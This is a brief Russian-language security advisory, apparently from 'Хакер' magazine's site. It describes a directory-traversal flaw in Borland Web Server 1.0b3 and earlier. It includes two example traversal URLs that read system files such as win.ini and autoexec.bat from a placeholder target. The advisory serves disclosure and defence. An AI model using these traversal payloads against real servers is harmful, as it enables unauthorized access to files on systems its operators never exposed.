Лучшие статьи квартала на бумаге
2 000 ₽
Заказать журнал
Полный доступ к статьям и архиву выпусков
6 000 ₽ в год
Подписаться
Совместный курс «Хакера» и лаборатории «Хаксет»
7 000 ₽
Купить курс
Лучшие статьи за 2021–2022 годы на бумаге
2 000 ₽
Заказать журнал
Программа: Borland Web Server 1.0b3 и более ранние версии
Уязвимость обнаружена в Borland Web Server (Corel Paradox web server). Удаленный пользователь может просматривать файлы вне Web каталога.
Удаленный пользователь может представить специально обработанный URL, чтобы получить доступ к произвольным файлам на системе.
Пример:
http://[target]/%5c%2e%2e%5c%2e%2e %5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
http://[target]/..................../autoexec.bat
Сайт защищен Qrator —